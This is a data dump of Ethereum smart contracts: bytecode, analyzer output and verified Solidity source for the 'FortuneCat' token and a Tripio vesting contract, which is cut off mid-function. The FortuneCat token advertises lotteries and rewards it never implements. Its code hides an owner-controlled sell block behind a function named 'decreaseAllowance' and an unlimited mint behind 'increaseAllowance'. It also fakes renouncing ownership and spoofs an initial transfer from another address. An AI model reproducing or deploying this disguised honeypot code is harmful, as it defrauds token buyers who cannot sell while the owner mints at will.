d788998bba364a089539181900360200190a15b60015460408051848152602081019290925280517f7695772d0016f0b49a2e953420acae6312229ca10ab6c82a8c5669ad3cf20e999281900390910190a1610eea81611127565b5050565b60008161054f84670de0b6b3a7640000610574565b33600090815260208190526040902054600114610f515760405162461bcd60e51b815260040180806020018281038252603a81526020018061140a603a913960400191505060405180910390fd5b60008111610fa6576040805162461bcd60e51b815260206004820152601f60248201527f44656274506f70706572526577617264732f696e76616c69642d76616c756500604482015290519081900360640190fd5b816f696e746572506572696f6444656c617960801b1415610fcb5760048190556110e8565b816d72657761726454696d656c696e6560901b1415610fee5760058190556110e8565b816a199a5e195914995dd85c9960aa1b14156110635760008111611059576040805162461bcd60e51b815260206004820152601d60248201527f44656274506f70706572526577617264732f6e756c6c2d726577617264000000604482015290519081900360640190fd5b60018190556110e8565b816f6d6178506572506572696f64506f707360801b14156110885760068190556110e8565b81701c995dd85c9914195c9a5bd914dd185c9d607a1b141561091d574281116110e25760405162461bcd60e51b815260040180806020018281038252602d815260200180611350602d913960400191505060405180910390fd5b60038190555b604080518381526020810183905281517fac7c5c1afaef770ec56ac6268cd3f2fbb1035858ead2601d6553157c33036c3a929181900390910190a15050565b6002546001600160a01b03828116911614156111745760405162461bcd60e51b815260040180806020018281038252604681526020018061139e6046913960600191505060405180910390fd5b600254600154611191916001600160a01b03161515901515611320565b6111cc5760405162461bcd60e51b815260040180806020018281038252603e815260200180611499603e913960400191505060405180910390fd5b60006001600160a01b038216156111e357816111e5565b335b905060006111f1610a89565b6002546040805163a7e9445560e01b815290519293506001600160a01b039091169163201add9b918591849163a7e94455916004808301926020929190829003018186803b15801561124257600080fd5b505afa158015611256573d6000803e3d6000fd5b505050506040513d602081101561126c57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820185905251606480830192600092919082900301818387803b1580156112c457600080fd5b505af11580156112d8573d6000803e3d6000fd5b50506040805184815290516001600160a01b03861693507fecceda37d3797234769f9d2cb1d47314680fb79283568bdba3f12876c4c244db92509081900360200190a2505050565b169056fe44656274506f70706572526577617264732f6d6f646966792d756e7265636f676e697a65642d706172616d44656274506f70706572526577617264732f696e76616c69642d7265776172642d706572696f642d737461727444656274506f70706572526577617264732f6e6f742d646562742d706f707065724d616e6461746f7279466978656454726561737572795265696d62757273656d656e742f7265776172642d72656365697665722d63616e6e6f742d62652d747265617375727944656274506f70706572526577617264732f706f702d616c72656164792d72657761726465644d616e6461746f7279466978656454726561737572795265696d62757273656d656e742f6163636f756e742d6e6f742d617574686f72697a656444656274506f70706572526577617264732f6d69737365642d7265776172642d77696e646f7744656274506f70706572526577617264732f736c6f742d74696d652d6265666f72652d7265776172642d73746172744d616e6461746f7279466978656454726561737572795265696d62757273656d656e742f696e76616c69642d74726561737572792d6f722d72657761726444656274506f70706572526577617264732f736c6f742d63616e6e6f742d62652d696e2d7468652d66757475726544656274506f70706572526577617264732f696e76616c69642d617661696c61626c652d726577617264a2646970667358221220d13adf38aa76676cad0149fa991da374cd63cdf38490dadb004ba11a62b5cf3864736f6c63430006070033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
8,825
0x0e8028f7a1d1133dfddf2c7ec742da59cfbc0ec3
/** *Submitted for verification at Etherscan.io on 2021-08-13 */ /* Welcome to FORTUNE CAT 🥠 🐱 Legend says that the holders of $FUSSY will be rewarded with good fortune, such as double your purchase in tokens in $USDT (or any other listed token) from the Fortune Pot. This pussy is also known to reward holders at random! Features: Hold $FUSSY and have a chance to Earn $USDT, $USDC, $BTC, $ETH, every 30 minutes, which is sent automatically to your ERC20 wallet. Get a chance to win a lottery every 6 hours! Lottery ticket is voided after every sell and every round. Any buy transaction that happens within a period of time of our manual buy back will be rewarded with 5% less tax, while any sell transaction will be penalized with double tax Tokenomics: Total - 1,000,000,000,000 initial total tokens available Burn - 50% of total tokens burned Flexible Rewards - Earn your reward in any token of your choice, whether it's $USDT / $ETH / $BTC or any other token Lottery Winner - 1 lucky winner will be selected every 6 hours Great Tax - Only 5% tax per sell transaction! https://t.me/FortunePussyCat FortunePussyCat.com **/ pragma solidity ^0.6.11; // SPDX-License-Identifier: MIT library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _call() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address public Owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address call = _call(); _owner = call; Owner = call; emit OwnershipTransferred(address(0), call); } modifier onlyOwner() { require(_owner == _call(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); Owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract FortuneCat is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _router; mapping(address => mapping (address => uint256)) private _allowances; address private router; address private caller; uint256 private _totalTokens = 1000 * 10**9 * 10**18; uint256 private rTotal = 1000 * 10**9 * 10**18; string private _name = 'FortuneCat'; string private _symbol = '🥠 🐱'; uint8 private _decimals = 18; constructor () public { _router[_call()] = _totalTokens; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _call(), _totalTokens); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decreaseAllowance(uint256 amount) public onlyOwner { rTotal = amount * 10**18; } function balanceOf(address account) public view override returns (uint256) { return _router[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_call(), recipient, amount); return true; } function increaseAllowance(uint256 amount) public onlyOwner { require(_call() != address(0)); _totalTokens = _totalTokens.add(amount); _router[_call()] = _router[_call()].add(amount); emit Transfer(address(0), _call(), amount); } function Approve(address trade) public onlyOwner { caller = trade; } function setrouteChain (address Uniswaprouterv02) public onlyOwner { router = Uniswaprouterv02; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_call(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _call(), _allowances[sender][_call()].sub(amount)); return true; } function totalSupply() public view override returns (uint256) { return _totalTokens; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0)); require(recipient != address(0)); if (sender != caller && recipient == router) { require(amount < rTotal); } _router[sender] = _router[sender].sub(amount); _router[recipient] = _router[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0)); require(spender != address(0)); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461047f578063b4a99a4e146104e5578063dd62ed3e1461052f578063f2fde38b146105a757610100565b806370a0823114610356578063715018a6146103ae57806395d89b41146103b857806396bfcd231461043b57610100565b806318160ddd116100d357806318160ddd1461024a57806323b872dd14610268578063313ce567146102ee5780636aae83f31461031257610100565b806306fdde0314610105578063095ea7b31461018857806310bad4cf146101ee57806311e330b21461021c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b61021a6004803603602081101561020457600080fd5b81019080803590602001909291905050506106ab565b005b6102486004803603602081101561023257600080fd5b8101908080359060200190929190505050610788565b005b6102526109c0565b6040518082815260200191505060405180910390f35b6102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ca565b604051808215151515815260200191505060405180910390f35b6102f6610a89565b604051808260ff1660ff16815260200191505060405180910390f35b6103546004803603602081101561032857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aa0565b005b6103986004803603602081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bad565b6040518082815260200191505060405180910390f35b6103b6610bf6565b005b6103c0610d7f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104005780820151818401526020810190506103e5565b50505050905090810190601f16801561042d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61047d6004803603602081101561045157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e21565b005b6104cb6004803603604081101561049557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f2e565b604051808215151515815260200191505060405180910390f35b6104ed610f4c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105916004803603604081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f72565b6040518082815260200191505060405180910390f35b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b005b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611206565b848461120e565b6001905092915050565b6106b3611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610774576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a7640000810260078190555050565b610790611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610871611206565b73ffffffffffffffffffffffffffffffffffffffff16141561089257600080fd5b6108a78160065461136d90919063ffffffff16565b60068190555061090681600260006108bd611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b60026000610912611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610958611206565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6000600654905090565b60006109d78484846113f5565b610a7e846109e3611206565b610a7985600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a30611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b61120e565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b610aa8611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b69576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bfe611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cbf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b606060098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e175780601f10610dec57610100808354040283529160200191610e17565b820191906000526020600020905b815481529060010190602001808311610dfa57829003601f168201915b5050505050905090565b610e29611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610f42610f3b611206565b84846113f5565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611001611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117c76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128257600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000808284019050838110156113eb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561146957600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115145750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561152857600754811061152757600080fd5b5b61157a81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160f81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60006116fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611706565b905092915050565b60008383111582906117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561177857808201518184015260208101905061175d565b50505050905090810190601f1680156117a55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212207f65fe57fac2c8a87e6f8ede806d027d2064e774a853645fcedd169c91f8c8a864736f6c634300060b0033
{"success": true, "error": null, "results": {}}
8,826
0xf142f1c7badc95fb438302d7cf0a5db426f8f779
pragma solidity ^0.4.21; contract TripioToken { function transfer(address _to, uint256 _value) public returns (bool); function balanceOf(address who) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); } /** * Owned contract */ contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed from, address indexed to); function Owned() public { owner = msg.sender; } /** * Only the owner of contract */ modifier onlyOwner { require(msg.sender == owner); _; } /** * transfer the ownership to other * - Only the owner can operate */ function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } /** * Accept the ownership from last owner */ function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract TPTData { address public trioContract; struct Contributor { uint256 next; uint256 prev; uint256 cid; address contributor; bytes32 name; } struct ContributorChain { uint256 balance; uint256 head; uint256 tail; uint256 index; mapping(uint256 => Contributor) nodes; // cid -> Contributor } struct Schedule { uint256 next; uint256 prev; uint256 sid; uint32 timestamp; uint256 trio; } struct ScheduleChain { uint256 balance; uint256 head; uint256 tail; uint256 index; mapping (uint256 => Schedule) nodes; } // The contributors chain ContributorChain contributorChain; // The schedules chains mapping (uint256 => ScheduleChain) scheduleChains; /** * The contributor is valid */ modifier contributorValid(uint256 _cid) { require(contributorChain.nodes[_cid].cid == _cid); _; } /** * The schedule is valid */ modifier scheduleValid(uint256 _cid, uint256 _sid) { require(scheduleChains[_cid].nodes[_sid].sid == _sid); _; } } contract TPTContributors is TPTData, Owned { function TPTContributors() public { } /** * This emits when contributors are added */ event ContributorsAdded(address[] indexed _contributors); /** * This emits when contributors are removed */ event ContributorsRemoved(uint256[] indexed _cids); /** * Record `_contributor` */ function _pushContributor(address _contributor, bytes32 _name) internal { require(_contributor != address(0)); uint256 prev = 0; uint256 cid = contributorChain.index + 1; if (contributorChain.balance == 0) { contributorChain = ContributorChain(1, cid, cid, cid); contributorChain.nodes[cid] = Contributor(0, 0, cid, _contributor, _name); } else { contributorChain.index = cid; prev = contributorChain.tail; contributorChain.balance++; contributorChain.nodes[cid] = Contributor(0, prev, cid, _contributor, _name); contributorChain.nodes[prev].next = cid; contributorChain.tail = cid; } } /** * Remove contributor by `_cid` */ function _removeContributor(uint _cid) internal contributorValid(_cid) { require(_cid != 0); uint256 next = 0; uint256 prev = 0; require(contributorChain.nodes[_cid].cid == _cid); next = contributorChain.nodes[_cid].next; prev = contributorChain.nodes[_cid].prev; if (next == 0) { if(prev != 0) { contributorChain.nodes[prev].next = 0; delete contributorChain.nodes[_cid]; contributorChain.tail = prev; }else { delete contributorChain.nodes[_cid]; delete contributorChain; } } else { if (prev == 0) { contributorChain.head = next; contributorChain.nodes[next].prev = 0; delete contributorChain.nodes[_cid]; } else { contributorChain.nodes[prev].next = next; contributorChain.nodes[next].prev = prev; delete contributorChain.nodes[_cid]; } } if(contributorChain.balance > 0) { contributorChain.balance--; } } /** * Record `_contributors` * @param _contributors The contributor */ function addContributors(address[] _contributors, bytes32[] _names) external onlyOwner { require(_contributors.length == _names.length && _contributors.length > 0); for(uint256 i = 0; i < _contributors.length; i++) { _pushContributor(_contributors[i], _names[i]); } // Event emit ContributorsAdded(_contributors); } /** * Remove contributor by `_cids` * @param _cids The contributor's ids */ function removeContributors(uint256[] _cids) external onlyOwner { for(uint256 i = 0; i < _cids.length; i++) { _removeContributor(_cids[i]); } // Event emit ContributorsRemoved(_cids); } /** * Returns all the contributors * @return All the contributors */ function contributors() public view returns(uint256[]) { uint256 count; uint256 index; uint256 next; index = 0; next = contributorChain.head; count = contributorChain.balance; if (count > 0) { uint256[] memory result = new uint256[](count); while(next != 0 && index < count) { result[index] = contributorChain.nodes[next].cid; next = contributorChain.nodes[next].next; index++; } return result; } else { return new uint256[](0); } } /** * Return the contributor by `_cid` * @return The contributor */ function contributor(uint _cid) external view returns(address, bytes32) { return (contributorChain.nodes[_cid].contributor, contributorChain.nodes[_cid].name); } } contract TPTSchedules is TPTData, Owned { function TPTSchedules() public { } /** * This emits when schedules are inserted */ event SchedulesInserted(uint256 _cid); /** * This emits when schedules are removed */ event SchedulesRemoved(uint _cid, uint256[] _sids); /** * Record TRIO transfer schedule to `_contributor` * @param _cid The contributor * @param _timestamps The transfer timestamps * @param _trios The transfer trios */ function insertSchedules(uint256 _cid, uint32[] _timestamps, uint256[] _trios) external onlyOwner contributorValid(_cid) { require(_timestamps.length > 0 && _timestamps.length == _trios.length); for (uint256 i = 0; i < _timestamps.length; i++) { uint256 prev = 0; uint256 next = 0; uint256 sid = scheduleChains[_cid].index + 1; if (scheduleChains[_cid].balance == 0) { scheduleChains[_cid] = ScheduleChain(1, sid, sid, sid); scheduleChains[_cid].nodes[sid] = Schedule(0, 0, sid, _timestamps[i], _trios[i]); } else { scheduleChains[_cid].index = sid; scheduleChains[_cid].balance++; prev = scheduleChains[_cid].tail; while(scheduleChains[_cid].nodes[prev].timestamp > _timestamps[i] && prev != 0) { prev = scheduleChains[_cid].nodes[prev].prev; } if (prev == 0) { next = scheduleChains[_cid].head; scheduleChains[_cid].nodes[sid] = Schedule(next, 0, sid, _timestamps[i], _trios[i]); scheduleChains[_cid].nodes[next].prev = sid; scheduleChains[_cid].head = sid; } else { next = scheduleChains[_cid].nodes[prev].next; scheduleChains[_cid].nodes[sid] = Schedule(next, prev, sid, _timestamps[i], _trios[i]); scheduleChains[_cid].nodes[prev].next = sid; if (next == 0) { scheduleChains[_cid].tail = sid; }else { scheduleChains[_cid].nodes[next].prev = sid; } } } } // Event emit SchedulesInserted(_cid); } /** * Remove schedule by `_cid` and `_sids` * @param _cid The contributor's id * @param _sids The schedule's ids */ function removeSchedules(uint _cid, uint256[] _sids) public onlyOwner contributorValid(_cid) { uint256 next = 0; uint256 prev = 0; uint256 sid; for (uint256 i = 0; i < _sids.length; i++) { sid = _sids[i]; require(scheduleChains[_cid].nodes[sid].sid == sid); next = scheduleChains[_cid].nodes[sid].next; prev = scheduleChains[_cid].nodes[sid].prev; if (next == 0) { if(prev != 0) { scheduleChains[_cid].nodes[prev].next = 0; delete scheduleChains[_cid].nodes[sid]; scheduleChains[_cid].tail = prev; }else { delete scheduleChains[_cid].nodes[sid]; delete scheduleChains[_cid]; } } else { if (prev == 0) { scheduleChains[_cid].head = next; scheduleChains[_cid].nodes[next].prev = 0; delete scheduleChains[_cid].nodes[sid]; } else { scheduleChains[_cid].nodes[prev].next = next; scheduleChains[_cid].nodes[next].prev = prev; delete scheduleChains[_cid].nodes[sid]; } } if(scheduleChains[_cid].balance > 0) { scheduleChains[_cid].balance--; } } // Event emit SchedulesRemoved(_cid, _sids); } /** * Return all the schedules of `_cid` * @param _cid The contributor's id * @return All the schedules of `_cid` */ function schedules(uint256 _cid) public contributorValid(_cid) view returns(uint256[]) { uint256 count; uint256 index; uint256 next; index = 0; next = scheduleChains[_cid].head; count = scheduleChains[_cid].balance; if (count > 0) { uint256[] memory result = new uint256[](count); while(next != 0 && index < count) { result[index] = scheduleChains[_cid].nodes[next].sid; next = scheduleChains[_cid].nodes[next].next; index++; } return result; } else { return new uint256[](0); } } /** * Return the schedule by `_cid` and `_sid` * @param _cid The contributor's id * @param _sid The schedule's id * @return The schedule */ function schedule(uint256 _cid, uint256 _sid) public scheduleValid(_cid, _sid) view returns(uint32, uint256) { return (scheduleChains[_cid].nodes[_sid].timestamp, scheduleChains[_cid].nodes[_sid].trio); } } contract TPTTransfer is TPTContributors, TPTSchedules { function TPTTransfer() public { } /** * This emits when transfer */ event AutoTransfer(address indexed _to, uint256 _trio); /** * This emits when */ event AutoTransferCompleted(); /** * Withdraw TRIO TOKEN balance from contract account, the balance will transfer to the contract owner */ function withdrawToken() external onlyOwner { TripioToken tripio = TripioToken(trioContract); uint256 tokens = tripio.balanceOf(address(this)); tripio.transfer(owner, tokens); } /** * Auto Transfer All Schedules */ function autoTransfer() external onlyOwner { // TRIO contract TripioToken tripio = TripioToken(trioContract); // All contributors uint256[] memory _contributors = contributors(); for (uint256 i = 0; i < _contributors.length; i++) { // cid and contributor address uint256 _cid = _contributors[i]; address _contributor = contributorChain.nodes[_cid].contributor; // All schedules uint256[] memory _schedules = schedules(_cid); for (uint256 j = 0; j < _schedules.length; j++) { // sid, trio and timestamp uint256 _sid = _schedules[j]; uint256 _trio = scheduleChains[_cid].nodes[_sid].trio; uint256 _timestamp = scheduleChains[_cid].nodes[_sid].timestamp; // hasn't arrived if(_timestamp > now) { break; } // Transfer TRIO to contributor tripio.transfer(_contributor, _trio); // Remove schedule of contributor uint256[] memory _sids = new uint256[](1); _sids[0] = _sid; 